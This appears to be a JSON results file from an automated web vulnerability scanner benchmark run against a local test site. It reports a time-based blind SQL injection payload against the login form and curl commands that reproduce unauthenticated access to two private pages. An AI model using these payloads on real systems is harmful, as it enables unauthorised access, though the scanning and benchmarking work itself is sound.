{
  "bench": "BENCH-04",
  "target": "http://127.0.0.1/",
  "generated": "2026-07-18T14:21:13.127915+00:00",
  "coverage_pct": 68,
  "min_coverage": 30,
  "authenticated_scan": true,
  "auth_verification": {
    "authenticated": true,
    "status_code": 200,
    "auth_present": true,
    "warning": null,
    "probe_url": "http://127.0.0.1/"
  },
  "gate_pass": true,
  "target_health": {
    "home_status": 200,
    "login_status": 200
  },
  "pages_crawled": 100,
  "injection_points_discovered": 45,
  "injection_points_tested": 29,
  "playwright_pages": 20,
  "playwright_crawl_endpoints": 0,
  "shallow_scan": false,
  "elapsed_s": 753.8,
  "findings_total": 12,
  "g6_high_plus_findings": [
    {
      "id": "SQLI-003",
      "name": "Time-Based Blind SQL Injection in 'login'",
      "severity": "High",
      "confidence": "HIGH",
      "endpoint": "http://127.0.0.1/login.php",
      "exploited": false,
      "evidence": {
        "request": {
          "method": "POST",
          "url": "http://127.0.0.1/login.php [login=test' OR SLEEP(3)-- -]"
        },
        "response": {
          "status": 0,
          "snippet": "baseline=0.20s \u00b7 injected=6.12s \u00b7 control(0)=0.01s"
        }
      },
      "raw": "POST http://127.0.0.1/login.php  \u2192  login=test' OR SLEEP(3)-- -"
    },
    {
      "id": "BAC-1213",
      "name": "Broken Access Control \u2014 resource served without authentication",
      "severity": "High",
      "confidence": "CONFIRMED",
      "endpoint": "http://127.0.0.1/business/account.php",
      "exploited": true,
      "raw": "Identity  : anon\nMethod    : GET\nEndpoint  : http://127.0.0.1/business/account.php\nNote      : Anonymous request returned the authenticated resource (body similarity 1.00) on a private endpoint.\n\nTo reproduce:\n  curl -s -i 'http://127.0.0.1/business/account.php'"
    },
    {
      "id": "BAC-B979",
      "name": "Broken Access Control \u2014 resource served without authentication",
      "severity": "High",
      "confidence": "CONFIRMED",
      "endpoint": "http://127.0.0.1/csrf/session.php",
      "exploited": true,
      "raw": "Identity  : anon\nMethod    : GET\nEndpoint  : http://127.0.0.1/csrf/session.php\nNote      : Anonymous request returned the authenticated resource (body similarity 1.00) on a private endpoint.\n\nTo reproduce:\n  curl -s -i 'http://127.0.0.1/csrf/session.php'"
    }
  ],
  "g6_evidence": {
    "high_plus_total": 3,
    "with_evidence": 3,
    "without_evidence": 0,
    "pct": 100.0,
    "min_pct": 80.0,
    "gate_pass": true,
    "gaps": []
  },
  "phases_skipped": [
    "ssti: stack_static_no_server_ssti",
    "oob: timeout"
  ],
  "scan_complete": true,
  "error": null,
  "gate_note": "Coverage = scan_coverage.coverage_pct from exercised surface only. Auth must pass ENGINE-04 probe on post-login paths (listproducts/cart).",
  "motor_commit": "a6b17c8"
}